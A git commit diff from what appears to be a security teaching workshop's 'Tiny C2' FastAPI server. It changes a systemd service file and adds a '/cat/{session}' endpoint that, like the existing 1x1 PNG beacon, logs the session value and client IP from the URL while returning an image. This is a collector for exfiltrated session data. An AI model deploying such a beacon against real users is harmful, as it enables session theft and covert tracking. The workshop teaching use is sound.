add a new endpoint returning a devious cat

This commit is contained in:
Stefan Kempinger 2026-02-03 12:27:54 +01:00
parent 38e46a3c50
commit e1e805adea
3 changed files with 27 additions and 7 deletions

View file

@ -4,9 +4,8 @@ After=network.target
[Service]
Type=simple
WorkingDirectory=/home/kemp/ins/teaching/workshop-c-and-c-server
# Run the requested command. This uses /usr/bin/env to locate `uv` in PATH.
ExecStart=/usr/bin/env uv run main.py
WorkingDirectory=/root/workshop-c-and-c
ExecStart=/usr/bin/python3 main.py
# Ensure common system paths are available when using /usr/bin/env
Environment=PATH=/usr/local/bin:/usr/bin:/bin
Environment=PYTHONUNBUFFERED=1

BIN
cat.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

29
main.py
View file

@ -1,10 +1,12 @@
from fastapi import FastAPI, Request, Response
from fastapi.responses import HTMLResponse
import base64
import threading
from datetime import datetime
import base64
from pathlib import Path
from typing import Dict, List
import uvicorn
from typing import List, Dict
from fastapi import FastAPI, Request, Response
from fastapi.responses import FileResponse, HTMLResponse
app = FastAPI(title="Tiny C2 (Workshop)")
@ -16,6 +18,7 @@ _lock = threading.Lock()
# A 1x1 transparent PNG (base64) used as a static beacon image.
_1x1_png_b64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z/C/HgAGgwJ/lK3Q6wAAAABJRU5ErkJggg=="
_IMAGE_BYTES = base64.b64decode(_1x1_png_b64)
_CAT_PATH = Path(__file__).resolve().parent / "cat.jpg"
def _record_session(value: str, ip: str) -> None:
@ -50,6 +53,24 @@ async def beacon(session: str, request: Request):
return Response(content=_IMAGE_BYTES, media_type="image/png", headers=headers)
@app.get("/cat/{session}", response_class=Response)
async def cat_image(session: str, request: Request):
"""
Serves the local cat.jpg file as a static image.
"""
client_ip = request.client.host if request.client else "unknown"
# session is provided by the URL path; FastAPI will have decoded percent-encoding
if session:
_record_session(session, client_ip)
headers = {
"Cache-Control": "no-cache, no-store, must-revalidate",
"Pragma": "no-cache",
"Expires": "0",
}
return FileResponse(_CAT_PATH, media_type="image/jpeg", headers=headers)
@app.get("/sessions", response_class=HTMLResponse)
async def sessions_list():
"""